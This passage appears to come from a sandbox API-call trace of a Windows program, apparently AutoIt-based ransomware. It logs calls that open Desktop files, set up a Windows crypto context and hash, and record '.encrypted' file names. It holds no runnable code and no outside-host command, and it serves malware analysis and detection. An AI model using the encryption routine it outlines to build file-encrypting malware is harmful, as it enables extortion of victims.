hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.410] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.410] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.410] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.411] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.411] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.412] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.412] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.412] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.412] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.412] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.412] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.412] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.412] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.412] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.412] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=701) returned 1 [0022.412] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.412] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.413] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.413] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2bd, lpOverlapped=0x0) returned 1 [0022.413] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.413] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.413] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=701) returned 1 [0022.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\n", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0022.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\n", cchWideChar=55, lpMultiByteStr=0xe8f404bdd0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\n", lpUsedDefaultChar=0x0) returned 55 [0022.413] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051090*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051090*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x36, lpOverlapped=0x0) returned 1 [0022.413] CloseHandle (hObject=0x1fc) returned 1 [0022.415] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.415] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.416] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.416] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.416] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.417] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.417] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.417] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.swf", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0022.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.swf", cchWideChar=62, lpMultiByteStr=0xe8f4051b30, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.swf", lpUsedDefaultChar=0x0) returned 62 [0022.419] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\2qhnnllstx60xk.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=62, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62 [0022.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=62, lpWideCharStr=0xe8f4067cd0, cchWideChar=62 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.swf") returned 62 [0022.419] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.420] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 1 [0022.420] TranslateMessage (lpMsg=0xe8f3dfee70) returned 0 [0022.420] DispatchMessageW (lpMsg=0xe8f3dfee70) returned 0x0 [0022.420] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe4a0) returned 1 [0022.420] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0022.420] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0022.420] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.420] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.421] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.421] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41789a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.421] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.421] CloseHandle (hObject=0x1fc) returned 1 [0022.421] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.421] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.421] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.421] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.421] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.421] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.421] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.422] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.422] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.422] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.422] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.422] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.422] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.423] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.423] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.423] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.424] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.424] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.424] PeekMessageW 